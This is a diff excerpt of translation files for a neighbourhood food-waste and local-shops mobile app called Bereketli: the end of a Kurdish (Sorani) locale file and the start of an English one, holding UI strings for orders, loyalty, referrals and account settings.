||||||
|
"searchPlaceholder": "بگەڕێ بۆ دوکان...",
|
||||||
|
"categoryAll": "هەمووی",
|
||||||
|
"categoryBarber": "دەلاک",
|
||||||
|
"categoryCafe": "قاوەخانە",
|
||||||
|
"categoryButcher": "قەسابخانە",
|
||||||
|
"categoryGreengrocer": "میوەفرۆشی",
|
||||||
|
"categoryBakery": "نانەوایی",
|
||||||
|
"categoryPharmacy": "دەرمانخانە",
|
||||||
|
"categoryTailor": "خەیاتخانە",
|
||||||
|
"categoryOther": "هیتر",
|
||||||
|
"nearbyMerchants": "دوکانە نزیکەکان",
|
||||||
|
"merchantCount": "{{count}} دوکان",
|
||||||
|
"proPlan": "دوکانی پرۆ",
|
||||||
|
"businessPlan": "بزنس",
|
||||||
|
"emptyTitle": "لە نزیکتدا دوکان نەدۆزرایەوە",
|
||||||
|
"emptyText": "دووری زیاد بکە یان پۆلێکی دیکە تاقیبکەرەوە"
|
||||||
|
},
|
||||||
|
"merchantDetail": {
|
||||||
|
"notFound": "دوکان نەدۆزرایەوە",
|
||||||
|
"phoneNotRegistered": "ژمارەی تەلەفۆن تۆمار نەکراوە.",
|
||||||
|
"services": "خزمەتگوزارییەکان",
|
||||||
|
"products": "بەرهەمەکان",
|
||||||
|
"surprisePackages": "پاکێتە سورپرایزەکان",
|
||||||
|
"buyButton": "بیکڕە",
|
||||||
|
"loyaltyProgram": "پرۆگرامی وەفاداری",
|
||||||
|
"loyaltyJoinHint": "لە یەکەم سەردانتدا خۆکارانە بەشدار دەبیت",
|
||||||
|
"contact": "پەیوەندی",
|
||||||
|
"callSuffix": "پەیوەندی بکە",
|
||||||
|
"appointmentTitle": "مەوعید دابنێ",
|
||||||
|
"appointmentTimes": "کاتە بەردەستەکانی سبەی:",
|
||||||
|
"appointmentCreated": "مەوعید دروست کرا!",
|
||||||
|
"appointmentCreatedMsg": "{{service}}\n{{date}} کاتژمێر {{time}}\n\nکاتی پەسەندکردنی دوکان ئاگادار دەکرێیتەوە.",
|
||||||
|
"appointmentFailed": "نەتوانرا مەوعید دروست بکرێت.",
|
||||||
|
"orderCreated": "داواکاری دروست کرا!",
|
||||||
|
"orderFailed": "نەتوانرا داواکاری دروست بکرێت",
|
||||||
|
"callAndOrder": "پەیوەندی بکە و داواکاری بکە",
|
||||||
|
"closeButton": "داخستن"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "هەژمارەکەم",
|
||||||
|
"defaultUser": "بەکارهێنەر",
|
||||||
|
"editHint": "دەستکاری",
|
||||||
|
"editNameTitle": "ناوەکەت دەستکاری بکە",
|
||||||
|
"namePlaceholder": "ناوت",
|
||||||
|
"nameRequired": "ناو بەتاڵ نابێت",
|
||||||
|
"nameUpdateFailed": "نەتوانرا ناو نوێ بکرێتەوە",
|
||||||
|
"ordersLabel": "داواکارییەکانم",
|
||||||
|
"appointmentsLabel": "مەوعیدەکانم",
|
||||||
|
"loyaltyLabel": "وەفاداری",
|
||||||
|
"discoverLabel": "بدۆزەرەوە",
|
||||||
|
"surprisePackages": "پاکێتە سورپرایزەکان",
|
||||||
|
"surprisePackagesDesc": "پاکێتە داشکاوەکان لە نزیکت",
|
||||||
|
"neighborhoodMerchants": "دوکانەکانی گەڕەک",
|
||||||
|
"neighborhoodMerchantsDesc": "خاڵ کۆبکەرەوە، خەڵات ببەرەوە",
|
||||||
|
"securityLabel": "ئاسایش",
|
||||||
|
"changePassword": "گۆڕینی وشەی نهێنی",
|
||||||
|
"supportLabel": "پشتیوانی",
|
||||||
|
"faq": "پرسیارە باوەکان",
|
||||||
|
"faqDesc": "١٨ پرسیار — وەڵامی ڕاستەقینە",
|
||||||
|
"contactLabel": "پەیوەندی",
|
||||||
|
"contactEmail": "destek@bereketli.app",
|
||||||
|
"website": "ماڵپەڕ",
|
||||||
|
"websiteUrl": "bereketli.pezkiwi.app",
|
||||||
|
"version": "وەشان",
|
||||||
|
"logout": "چوونەدەرەوە",
|
||||||
|
"logoutConfirm": "دڵنیایت دەتەوێت بچیتە دەرەوە؟",
|
||||||
|
"logoutCancel": "پاشگەزبوونەوە",
|
||||||
|
"deleteAccount": "سڕینەوەی هەژمارەکەم",
|
||||||
|
"deleteAccountDesc": "ئەم کارە ناگەڕێتەوە",
|
||||||
|
"deleteAccountConfirm": "ئەم کارە ناگەڕێتەوە. هەژمارەکەت و هەموو داتاکانت بۆ هەمیشەیی دەسڕدرێتەوە.",
|
||||||
|
"deleteAccountButton": "هەژمارەکەم بسڕەرەوە",
|
||||||
|
"deleteAccountFailed": "نەتوانرا هەژمارە بسڕدرێتەوە. دووبارە هەوڵبدەرەوە.",
|
||||||
|
"language": "زمان",
|
||||||
|
"selectLanguage": "زمان هەڵبژێرە"
|
||||||
|
},
|
||||||
|
"changePassword": {
|
||||||
|
"title": "گۆڕینی وشەی نهێنی",
|
||||||
|
"subtitle": "بۆ ئاسایشت وشەی نهێنی ئێستات بنووسە",
|
||||||
|
"currentPassword": "وشەی نهێنی ئێستا",
|
||||||
|
"currentPasswordPlaceholder": "وشەی نهێنی ئێستات",
|
||||||
|
"newPassword": "وشەی نهێنی نوێ",
|
||||||
|
"newPasswordPlaceholder": "لانیکەم ٨ پیت",
|
||||||
|
"confirmPassword": "دووبارەکردنەوەی وشەی نهێنی نوێ",
|
||||||
|
"confirmPasswordPlaceholder": "وشەی نهێنی نوێت دووبارە بنووسەرەوە",
|
||||||
|
"changing": "گۆڕدرا...",
|
||||||
|
"change": "وشەی نهێنی بگۆڕە",
|
||||||
|
"allFieldsRequired": "تکایە هەموو خانەکان پڕبکەرەوە",
|
||||||
|
"passwordMinLength": "وشەی نهێنی نوێ لانیکەم ٨ پیت دەبێت",
|
||||||
|
"passwordMismatch": "وشەی نهێنییە نوێیەکان یەک ناگرنەوە",
|
||||||
|
"success": "وشەی نهێنیت گۆڕا",
|
||||||
|
"successTitle": "سەرکەوتوو بوو",
|
||||||
|
"failed": "نەتوانرا وشەی نهێنی بگۆڕدرێت. وشەی نهێنی ئێستات بپشکنە."
|
||||||
|
},
|
||||||
|
"faq": {
|
||||||
|
"title": "پرسیارە باوەکان",
|
||||||
|
"categoryAll": "هەمووی",
|
||||||
|
"categoryGenel": "گشتی",
|
||||||
|
"categoryCustomers": "کڕیارەکان",
|
||||||
|
"categoryBusinesses": "بزنسەکان",
|
||||||
|
"categoryPayment": "پارەدان",
|
||||||
|
"empty": "هێشتا پرسیاری باو زیاد نەکراوە"
|
||||||
|
},
|
||||||
|
"appointments": {
|
||||||
|
"title": "مەوعیدەکانم",
|
||||||
|
"statusPending": "چاوەڕوانە",
|
||||||
|
"statusConfirmed": "پەسەند کرا",
|
||||||
|
"statusCompleted": "تەواو بوو",
|
||||||
|
"statusCancelled": "هەڵوەشا",
|
||||||
|
"statusNoShow": "نەهات",
|
||||||
|
"cancelTitle": "هەڵوەشاندنی مەوعید",
|
||||||
|
"cancelMessage": "دڵنیایت لە هەڵوەشاندنی ئەم مەوعیدە؟",
|
||||||
|
"cancelConfirm": "هەڵبوەشێنە",
|
||||||
|
"cancelFailed": "نەتوانرا مەوعید هەڵبوەشێنرێت.",
|
||||||
|
"durationMin": "{{min}} خولەک",
|
||||||
|
"emptyTitle": "هێشتا مەوعیدت نییە",
|
||||||
|
"emptyText": "لە بەشی دوکانەکانەوە لەگەڵ دەلاک یان خەیاتدا مەوعید دابنێ",
|
||||||
|
"days": {
|
||||||
|
"sunday": "یەکشەممە",
|
||||||
|
"monday": "دووشەممە",
|
||||||
|
"tuesday": "سێشەممە",
|
||||||
|
"wednesday": "چوارشەممە",
|
||||||
|
"thursday": "پێنجشەممە",
|
||||||
|
"friday": "هەینی",
|
||||||
|
"saturday": "شەممە"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"loyalty": {
|
||||||
|
"title": "کارتەکانی وەفاداری",
|
||||||
|
"stampUnit": "مۆر",
|
||||||
|
"pointUnit": "خاڵ",
|
||||||
|
"visitUnit": "سەردان",
|
||||||
|
"redeemButton": "خەڵات وەربگرە",
|
||||||
|
"notReady": "هێشتا ئامادە نییە",
|
||||||
|
"notReadyMsg": "{{progress}} تەواو بکە بۆ بەدەستهێنانی خەڵاتەکەت.",
|
||||||
|
"redeemTitle": "خەڵات وەربگرە",
|
||||||
|
"redeemMessage": "{{reward}}\n\nدەتەوێت خەڵاتەکەت وەربگریت؟",
|
||||||
|
"redeemSuccess": "پیرۆزە!",
|
||||||
|
"redeemSuccessMsg": "خەڵاتەکەت بەکارهێنرا.",
|
||||||
|
"redeemFailed": "نەتوانرا خەڵات وەربگیردرێت",
|
||||||
|
"lastVisit": "کۆتا سەردان: {{date}}",
|
||||||
|
"emptyTitle": "هێشتا کارتی وەفاداریت نییە",
|
||||||
|
"emptyText": "لە دوکانەکانی گەڕەکەوە کڕین بکە و خاڵ کۆبکەرەوە",
|
||||||
|
"exploreMerchants": "دوکانەکان بدۆزەرەوە"
|
||||||
|
},
|
||||||
|
"chat": {
|
||||||
|
"title": "یاریدەدەری بەرەکەتلی",
|
||||||
|
"placeholder": "پەیامەکەت بنووسە...",
|
||||||
|
"greeting": "سڵاو! من یاریدەدەری بەرەکەتلیم. چۆن دەتوانم یارمەتیت بدەم؟",
|
||||||
|
"typing": "دەنووسێت...",
|
||||||
|
"error": "وەڵام نەگەیشت، دووبارە هەوڵبدەرەوە",
|
||||||
|
"suggestPackages": "پاکێتە نزیکەکان",
|
||||||
|
"suggestFood": "چی بخۆم؟",
|
||||||
|
"suggestStore": "دوکانێک پێشنیار بکە",
|
||||||
|
"suggestHez": "HEZ Coin چییە؟",
|
||||||
|
"listening": "گوێ دەگرم...",
|
||||||
|
"voiceError": "ناسینەوەی دەنگ سەرکەوتوو نەبوو، دووبارە هەوڵبدەرەوە",
|
||||||
|
"holdToTalk": "پەنجە بگرە و بدوێنە"
|
||||||
|
},
|
||||||
|
"referral": {
|
||||||
|
"title": "بانگهێشت بکە و ببەرەوە",
|
||||||
|
"totalPoints": "کۆی خاڵەکانت",
|
||||||
|
"pointsUnit": "خاڵ",
|
||||||
|
"inviteLabel": "بانگهێشتەکان",
|
||||||
|
"completedLabel": "تەواو بوو",
|
||||||
|
"earnedLabel": "بەدەستهاتوو",
|
||||||
|
"codeTitle": "کۆدی بانگهێشتت",
|
||||||
|
"copy": "لەبەرگرتنەوە",
|
||||||
|
"copied": "لەبەرگیرایەوە",
|
||||||
|
"copiedMsg": "کۆدی بانگهێشتت: {{code}}",
|
||||||
|
"whatsappShare": "هاوبەشکردن لە واتسئەپ",
|
||||||
|
"share": "هاوبەشکردن",
|
||||||
|
"shareText": "وەرە بۆ بەرەکەتلی، پێکەوە قازانج بکەین! کۆدی بانگهێشتم: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
|
||||||
|
"howItWorks": "چۆن کار دەکات؟",
|
||||||
|
"step1Title": "هاوڕێکەت خۆی تۆمار دەکات",
|
||||||
|
"step1Desc": "{{points}}+ خاڵ ببەرەوە",
|
||||||
|
"step2Title": "یەکەم داواکاریی دەکات",
|
||||||
|
"step2Desc": "١٠٠ خاڵ ببەرەوە",
|
||||||
|
"step3Title": "هەرچەندە زیاتر بانگهێشت بکەیت",
|
||||||
|
"step3Desc": "ئەوەندە زیاتر خاڵ دەبەیتەوە!",
|
||||||
|
"usePoints": "خاڵەکانت بەکاربهێنە",
|
||||||
|
"usePoints1Title": "داشکان لە پاکێتەکان",
|
||||||
|
"usePoints1Desc": "ئۆفەرەکانی دوکانەکان",
|
||||||
|
"usePoints2Title": "بیگۆڕە بۆ HEZ Coin",
|
||||||
|
"usePoints2Desc": "بەم زووانە",
|
||||||
|
"historyTitle": "مێژووی بانگهێشتەکان",
|
||||||
|
"historyEmpty": "هێشتا بانگهێشتت نییە",
|
||||||
|
"historyEmptyText": "کۆدەکەت هاوبەش بکە و دەست بکە بە کۆکردنەوەی خاڵ"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,467 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "Loading...",
|
||||||
|
"error": "Error",
|
||||||
|
"retry": "Try Again",
|
||||||
|
"cancel": "Cancel",
|
||||||
|
"ok": "OK",
|
||||||
|
"save": "Save",
|
||||||
|
"delete": "Delete",
|
||||||
|
"back": "Back",
|
||||||
|
"next": "Next",
|
||||||
|
"close": "Close",
|
||||||
|
"search": "Search",
|
||||||
|
"noResults": "No results found",
|
||||||
|
"pullToRefresh": "Pull to refresh",
|
||||||
|
"or": "or",
|
||||||
|
"confirm": "Confirm",
|
||||||
|
"all": "All",
|
||||||
|
"distance": "Distance",
|
||||||
|
"goBack": "Go Back",
|
||||||
|
"saving": "Saving...",
|
||||||
|
"info": "Info"
|
||||||
|
},
|
||||||
|
"tabs": {
|
||||||
|
"paketler": "Packages",
|
||||||
|
"komsu": "Neighbor",
|
||||||
|
"esnaf": "Local Shops",
|
||||||
|
"hesabim": "My Account"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"subtitle": "Your neighborhood app",
|
||||||
|
"emailOrPhone": "Email or Phone",
|
||||||
|
"emailPlaceholder": "example@email.com or 05xx...",
|
||||||
|
"password": "Password",
|
||||||
|
"passwordPlaceholder": "Your password",
|
||||||
|
"loggingIn": "Logging in...",
|
||||||
|
"login": "Log In",
|
||||||
|
"googleLogin": "Sign in with Google",
|
||||||
|
"noAccount": "Don't have an account?",
|
||||||
|
"registerLink": "Sign Up",
|
||||||
|
"loginErrorTitle": "Error",
|
||||||
|
"loginErrorRequired": "Email/phone and password are required",
|
||||||
|
"googleTokenError": "Could not get Google sign-in token",
|
||||||
|
"googlePlayError": "Google Play Services is not available",
|
||||||
|
"googleLoginFailed": "Google sign-in failed",
|
||||||
|
"registerTitle": "Sign Up",
|
||||||
|
"registerSubtitle": "Welcome to Bereketli",
|
||||||
|
"fullName": "Full Name",
|
||||||
|
"fullNamePlaceholder": "Your full name",
|
||||||
|
"email": "Email",
|
||||||
|
"emailOnlyPlaceholder": "example@email.com",
|
||||||
|
"phoneOptional": "Phone (Optional)",
|
||||||
|
"phonePlaceholder": "05xx xxx xx xx",
|
||||||
|
"passwordLabel": "Password",
|
||||||
|
"passwordMinPlaceholder": "At least 8 characters",
|
||||||
|
"confirmPassword": "Confirm Password",
|
||||||
|
"confirmPasswordPlaceholder": "Re-enter your password",
|
||||||
|
"referralCodeOptional": "Referral Code (Optional)",
|
||||||
|
"referralCodePlaceholder": "Enter referral code if you have one",
|
||||||
|
"registering": "Signing up...",
|
||||||
|
"register": "Sign Up",
|
||||||
|
"haveAccount": "Already have an account?",
|
||||||
|
"loginLink": "Log In",
|
||||||
|
"registerErrorRequired": "Name, email and password are required",
|
||||||
|
"registerErrorPasswordMin": "Password must be at least 8 characters",
|
||||||
|
"registerErrorPasswordMatch": "Passwords do not match"
|
||||||
|
},
|
||||||
|
"splash": {
|
||||||
|
"subtitle": "Your neighborhood app",
|
||||||
|
"tagline": "Prevent food waste, share abundance"
|
||||||
|
},
|
||||||
|
"onboarding": {
|
||||||
|
"slide1Title": "Prevent Food Waste",
|
||||||
|
"slide1Desc": "Buy quality products left at the end of the day from stores at discounted prices. Save money and do good for the world.",
|
||||||
|
"slide2Title": "Discover Your Neighborhood",
|
||||||
|
"slide2Desc": "Find nearby bakeries, grocers, butchers, barbers and more. Collect loyalty points, earn rewards.",
|
||||||
|
"slide3Title": "Get Started",
|
||||||
|
"slide3Desc": "Share your location, discover surprise packages and local shops nearby!",
|
||||||
|
"locationLabel": "Location",
|
||||||
|
"locationDesc": "Show nearby packages",
|
||||||
|
"notificationLabel": "Notifications",
|
||||||
|
"notificationDesc": "Stay informed about deals",
|
||||||
|
"skip": "Skip",
|
||||||
|
"next": "Next →",
|
||||||
|
"start": "Start",
|
||||||
|
"micLabel": "Microphone",
|
||||||
|
"micDesc": "To talk with AI assistant",
|
||||||
|
"cameraLabel": "Camera",
|
||||||
|
"cameraDesc": "For QR codes and photos"
|
||||||
|
},
|
||||||
|
"locationPicker": {
|
||||||
|
"title": "Select Location",
|
||||||
|
"useMyLocation": "Use My Location",
|
||||||
|
"confirm": "Confirm",
|
||||||
|
"permissionRequired": "Location Permission Required",
|
||||||
|
"permissionMessage": "Please enable location permission in Settings.",
|
||||||
|
"gpsError": "GPS Signal Not Found",
|
||||||
|
"gpsErrorMessage": "Try again in an open area or select a pin on the map."
|
||||||
|
},
|
||||||
|
"packages": {
|
||||||
|
"deliveryAddress": "Delivery address",
|
||||||
|
"selectLocation": "Select location",
|
||||||
|
"searchPlaceholder": "Search packages or stores...",
|
||||||
|
"sortLabel": "Sort",
|
||||||
|
"sortDistance": "Distance",
|
||||||
|
"sortPrice": "Price",
|
||||||
|
"sortRating": "Rating",
|
||||||
|
"delivery": "Delivery",
|
||||||
|
"discounted": "Discounted",
|
||||||
|
"lastFew": "Last few",
|
||||||
|
"priceRange": "Price Range",
|
||||||
|
"referralBannerTitle": "Invite & Earn",
|
||||||
|
"referralBannerDesc": "Bring your friend, earn points!",
|
||||||
|
"categoryAll": "All",
|
||||||
|
"categoryBakery": "Bakery",
|
||||||
|
"categoryRestaurant": "Restaurant",
|
||||||
|
"categoryPastry": "Pastry",
|
||||||
|
"categoryMarket": "Market",
|
||||||
|
"nearbyPackages": "Nearby Packages",
|
||||||
|
"categoryPackages": "{{category}} Packages",
|
||||||
|
"packageCount": "{{count}} packages",
|
||||||
|
"emptyTitle": "No packages nearby",
|
||||||
|
"emptyText": "Increase the distance or try \"All\"",
|
||||||
|
"notificationPermission": "Notification Permission",
|
||||||
|
"notificationPermissionMsg": "You need to allow notifications. You can grant permission in Settings.",
|
||||||
|
"notificationsEnabled": "Notifications Enabled",
|
||||||
|
"notificationsEnabledMsg": "You will be notified about new packages and campaigns!",
|
||||||
|
"notificationRegisterFailed": "Notification registration failed."
|
||||||
|
},
|
||||||
|
"packageDetail": {
|
||||||
|
"title": "Package Detail",
|
||||||
|
"notFound": "Package not found",
|
||||||
|
"loadError": "Could not load package details",
|
||||||
|
"description": "Description",
|
||||||
|
"details": "Details",
|
||||||
|
"priceLabel": "Price",
|
||||||
|
"pickupTime": "Pickup Time",
|
||||||
|
"remaining": "Remaining",
|
||||||
|
"status": "Status",
|
||||||
|
"statusActive": "Active",
|
||||||
|
"statusSoldOut": "Sold Out",
|
||||||
|
"statusExpired": "Expired",
|
||||||
|
"deliveryMethod": "Delivery Method",
|
||||||
|
"pickup": "Pick Up",
|
||||||
|
"deliveryToAddress": "Deliver to Address",
|
||||||
|
"deliveryAddressPlaceholder": "Enter your delivery address",
|
||||||
|
"deliveryAddressRequired": "Please enter a delivery address",
|
||||||
|
"total": "Total",
|
||||||
|
"purchasing": "Placing Order...",
|
||||||
|
"purchase": "Buy Now",
|
||||||
|
"orderCreated": "Order Created",
|
||||||
|
"orderCreatedMsg": "Order #{{orderId}}\nTotal: {{price}} TL\n\nRedirecting to payment page.",
|
||||||
|
"viewOrder": "View Order",
|
||||||
|
"orderFailed": "Could not create order. Please try again.",
|
||||||
|
"discount": "{{percent}}% Off"
|
||||||
|
},
|
||||||
|
"orders": {
|
||||||
|
"title": "My Orders",
|
||||||
|
"orderCount": "{{count}} orders",
|
||||||
|
"qrPickup": "QR Pickup",
|
||||||
|
"tabPackages": "Package",
|
||||||
|
"tabMeals": "Neighbor Meal",
|
||||||
|
"emptyPackagesTitle": "No package orders yet",
|
||||||
|
"emptyPackagesText": "Place your first order from the Packages tab",
|
||||||
|
"emptyMealsTitle": "No meal orders yet",
|
||||||
|
"emptyMealsText": "Order home-cooked food from the Neighbor tab",
|
||||||
|
"statusPending": "Pending",
|
||||||
|
"statusPaid": "Paid",
|
||||||
|
"statusPickedUp": "Picked Up",
|
||||||
|
"statusCancelled": "Cancelled",
|
||||||
|
"statusRefunded": "Refunded",
|
||||||
|
"statusAccepted": "Accepted",
|
||||||
|
"statusRejected": "Rejected",
|
||||||
|
"statusCompleted": "Completed",
|
||||||
|
"mealOrderBadge": "Neighbor Meal",
|
||||||
|
"portions": "{{count}} portions"
|
||||||
|
},
|
||||||
|
"orderDetail": {
|
||||||
|
"backLabel": "Back",
|
||||||
|
"notFound": "Order not found",
|
||||||
|
"loadError": "Could not load order details",
|
||||||
|
"pickupCode": "Pickup Code",
|
||||||
|
"tokenLabel": "Token",
|
||||||
|
"qrHint": "Show this QR code to the store staff",
|
||||||
|
"orderDetails": "Order Details",
|
||||||
|
"orderNo": "Order No",
|
||||||
|
"quantity": "Quantity",
|
||||||
|
"unitPrice": "Unit Price",
|
||||||
|
"total": "Total",
|
||||||
|
"date": "Date",
|
||||||
|
"paymentDate": "Payment Date",
|
||||||
|
"pickupDate": "Pickup Date",
|
||||||
|
"cancelDate": "Cancel Date",
|
||||||
|
"cancelling": "Cancelling...",
|
||||||
|
"cancelOrder": "Cancel Order",
|
||||||
|
"cancelTitle": "Cancel Order",
|
||||||
|
"cancelMessage": "Are you sure you want to cancel this order?",
|
||||||
|
"cancelConfirm": "Cancel",
|
||||||
|
"cancelSuccess": "Your order has been cancelled",
|
||||||
|
"cancelFailed": "Could not cancel order",
|
||||||
|
"reviewButton": "Write Review",
|
||||||
|
"reviewTitle": "Rate Your Experience",
|
||||||
|
"reviewPlaceholder": "Your review (optional)",
|
||||||
|
"reviewSubmitting": "Submitting...",
|
||||||
|
"reviewSubmit": "Submit",
|
||||||
|
"reviewRatingRequired": "Please select a rating",
|
||||||
|
"reviewSuccess": "Your review has been saved!",
|
||||||
|
"reviewSuccessTitle": "Thank You",
|
||||||
|
"reviewFailed": "Could not submit review",
|
||||||
|
"reviewDone": "Your review has been saved. Thank you!"
|
||||||
|
},
|
||||||
|
"mealOrderDetail": {
|
||||||
|
"qrHint": "Show this QR code to the cook",
|
||||||
|
"portionLabel": "Portions",
|
||||||
|
"orderDate": "Order Date",
|
||||||
|
"acceptDate": "Accept Date",
|
||||||
|
"deliveryDate": "Delivery Date",
|
||||||
|
"cancelDate": "Cancel Date"
|
||||||
|
},
|
||||||
|
"qrScan": {
|
||||||
|
"title": "QR Pickup",
|
||||||
|
"verifying": "Verifying...",
|
||||||
|
"scanPrompt": "Scan QR Code",
|
||||||
|
"instructions": "Scan the QR code at the store with your camera when picking up your order",
|
||||||
|
"successTitle": "Picked Up!",
|
||||||
|
"successMessage": "Order #{{orderId}} successfully picked up.\n\nTotal: {{price}} TL",
|
||||||
|
"errorMessage": "QR code could not be verified. Please try again.",
|
||||||
|
"retryButton": "Try Again"
|
||||||
|
},
|
||||||
|
"search": {
|
||||||
|
"placeholder": "Search packages, stores or categories...",
|
||||||
|
"popularCategories": "Popular Categories",
|
||||||
|
"popularSearches": "Popular Searches",
|
||||||
|
"resultCount": "{{count}} results found",
|
||||||
|
"emptyTitle": "No results found",
|
||||||
|
"emptyText": "Try a different search term"
|
||||||
|
},
|
||||||
|
"meals": {
|
||||||
|
"title": "Neighbor Meals",
|
||||||
|
"subtitle": "Homemade, fresh, trusted",
|
||||||
|
"searchPlaceholder": "Search meals or cooks...",
|
||||||
|
"nearbyMeals": "Nearby Meals",
|
||||||
|
"mealCount": "{{count}} meals",
|
||||||
|
"pickup": "Pick Up",
|
||||||
|
"delivery": "Delivery",
|
||||||
|
"pickupOrDelivery": "Pick Up / Delivery",
|
||||||
|
"lastPortions": "Last {{count}}!",
|
||||||
|
"perPortion": "/ portion",
|
||||||
|
"portionCount": "{{count}} portions",
|
||||||
|
"emptyTitle": "No home-cooked meals nearby",
|
||||||
|
"emptyText": "Increase the distance or check back later"
|
||||||
|
},
|
||||||
|
"mealDetail": {
|
||||||
|
"title": "Meal Detail",
|
||||||
|
"notFound": "Meal not found",
|
||||||
|
"defaultCook": "Cook",
|
||||||
|
"priceLabel": "Price",
|
||||||
|
"pricePerPortion": "{{price}} TL / portion",
|
||||||
|
"availableUntil": "Available",
|
||||||
|
"availableUntilValue": "Until {{time}}",
|
||||||
|
"remainingLabel": "Remaining",
|
||||||
|
"remainingValue": "{{remaining}} / {{total}} portions",
|
||||||
|
"deliveryLabel": "Delivery",
|
||||||
|
"pickup": "Pick Up",
|
||||||
|
"deliveryToAddress": "Home Delivery",
|
||||||
|
"pickupOrDelivery": "Pick Up / Delivery",
|
||||||
|
"portionLabel": "Portions",
|
||||||
|
"total": "Total",
|
||||||
|
"ordering": "Placing Order...",
|
||||||
|
"soldOut": "Sold Out",
|
||||||
|
"order": "Place Order",
|
||||||
|
"orderSuccess": "Order Placed!",
|
||||||
|
"orderSuccessMsg": "Order #{{orderId}}\n{{portions}} portions {{title}}\nTotal: {{total}} TL\n\nYou will be notified when the cook confirms.",
|
||||||
|
"orderFailed": "Could not create order."
|
||||||
|
},
|
||||||
|
"merchants": {
|
||||||
|
"title": "Local Shops",
|
||||||
|
"subtitle": "Collect points, earn rewards",
|
||||||
|
"searchPlaceholder": "Search shops or stores...",
|
||||||
|
"categoryAll": "All",
|
||||||
|
"categoryBarber": "Barber",
|
||||||
|
"categoryCafe": "Cafe",
|
||||||
|
"categoryButcher": "Butcher",
|
||||||
|
"categoryGreengrocer": "Greengrocer",
|
||||||
|
"categoryBakery": "Bakery",
|
||||||
|
"categoryPharmacy": "Pharmacy",
|
||||||
|
"categoryTailor": "Tailor",
|
||||||
|
"categoryOther": "Other",
|
||||||
|
"nearbyMerchants": "Nearby Shops",
|
||||||
|
"merchantCount": "{{count}} shops",
|
||||||
|
"proPlan": "Pro Shop",
|
||||||
|
"businessPlan": "Business",
|
||||||
|
"emptyTitle": "No shops found nearby",
|
||||||
|
"emptyText": "Increase the distance or try another category"
|
||||||
|
},
|
||||||
|
"merchantDetail": {
|
||||||
|
"notFound": "Shop not found",
|
||||||
|
"phoneNotRegistered": "Phone number is not registered.",
|
||||||
|
"services": "Services",
|
||||||
|
"products": "Products",
|
||||||
|
"surprisePackages": "Surprise Packages",
|
||||||
|
"buyButton": "Buy",
|
||||||
|
"loyaltyProgram": "Loyalty Program",
|
||||||
|
"loyaltyJoinHint": "You'll automatically join on your first visit",
|
||||||
|
"contact": "Contact",
|
||||||
|
"callSuffix": "Call",
|
||||||
|
"appointmentTitle": "Book Appointment",
|
||||||
|
"appointmentTimes": "Available times for tomorrow:",
|
||||||
|
"appointmentCreated": "Appointment Created!",
|
||||||
|
"appointmentCreatedMsg": "{{service}}\n{{date}} at {{time}}\n\nYou will be notified when the shop confirms.",
|
||||||
|
"appointmentFailed": "Could not create appointment.",
|
||||||
|
"orderCreated": "Order Created!",
|
||||||
|
"orderFailed": "Could not create order",
|
||||||
|
"callAndOrder": "Call & Order",
|
||||||
|
"closeButton": "Close"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "My Account",
|
||||||
|
"defaultUser": "User",
|
||||||
|
"editHint": "Edit",
|
||||||
|
"editNameTitle": "Edit Your Name",
|
||||||
|
"namePlaceholder": "Your name",
|
||||||
|
"nameRequired": "Name cannot be empty",
|
||||||
|
"nameUpdateFailed": "Could not update name",
|
||||||
|
"ordersLabel": "My Orders",
|
||||||
|
"appointmentsLabel": "Appointments",
|
||||||
|
"loyaltyLabel": "Loyalty",
|
||||||
|
"discoverLabel": "Discover",
|
||||||
|
"surprisePackages": "Surprise Packages",
|
||||||
|
"surprisePackagesDesc": "Discounted packages nearby",
|
||||||
|
"neighborhoodMerchants": "Local Shops",
|
||||||
|
"neighborhoodMerchantsDesc": "Collect points, earn rewards",
|
||||||
|
"securityLabel": "Security",
|
||||||
|
"changePassword": "Change Password",
|
||||||
|
"supportLabel": "Support",
|
||||||
|
"faq": "Frequently Asked Questions",
|
||||||
|
"faqDesc": "18 FAQs - real answers",
|
||||||
|
"contactLabel": "Contact",
|
||||||
|
"contactEmail": "destek@bereketli.app",
|
||||||
|
"website": "Website",
|
||||||
|
"websiteUrl": "bereketli.pezkiwi.app",
|
||||||
|
"version": "Version",
|
||||||
|
"logout": "Log Out",
|
||||||
|
"logoutConfirm": "Are you sure you want to log out?",
|
||||||
|
"logoutCancel": "Cancel",
|
||||||
|
"deleteAccount": "Delete My Account",
|
||||||
|
"deleteAccountDesc": "This action cannot be undone",
|
||||||
|
"deleteAccountConfirm": "This action cannot be undone. Your account and all data will be permanently deleted.",
|
||||||
|
"deleteAccountButton": "Delete My Account",
|
||||||
|
"deleteAccountFailed": "Could not delete account. Please try again.",
|
||||||
|
"language": "Language",
|
||||||
|
"selectLanguage": "Select Language"
|
||||||
|
},
|
||||||
|
"changePassword": {
|
||||||
|
"title": "Change Password",
|
||||||
|
"subtitle": "Enter your current password for security",
|
||||||
|
"currentPassword": "Current Password",
|
||||||
|
"currentPasswordPlaceholder": "Your current password",
|
||||||
|
"newPassword": "New Password",
|
||||||
|
"newPasswordPlaceholder": "At least 8 characters",
|
||||||
|
"confirmPassword": "Confirm New Password",
|
||||||
|
"confirmPasswordPlaceholder": "Re-enter your new password",
|
||||||
|
"changing": "Changing...",
|
||||||
|
"change": "Change Password",
|
||||||
|
"allFieldsRequired": "Please fill in all fields",
|
||||||
|
"passwordMinLength": "New password must be at least 8 characters",
|
||||||
|
"passwordMismatch": "New passwords do not match",
|
||||||
|
"success": "Your password has been changed",
|
||||||
|
"successTitle": "Success",
|
||||||
|
"failed": "Could not change password. Check your current password."
|
||||||
|
},
|
||||||
|
"faq": {
|
||||||
|
"title": "Frequently Asked Questions",
|
||||||
|
"categoryAll": "All",
|
||||||
|
"categoryGenel": "General",
|
||||||
|
"categoryCustomers": "Customers",
|
||||||
|
"categoryBusinesses": "Businesses",
|
||||||
|
"categoryPayment": "Payment",
|
||||||
|
"empty": "No FAQs added yet"
|
||||||
|
},
|
||||||
|
"appointments": {
|
||||||
|
"title": "My Appointments",
|
||||||
|
"statusPending": "Pending",
|
||||||
|
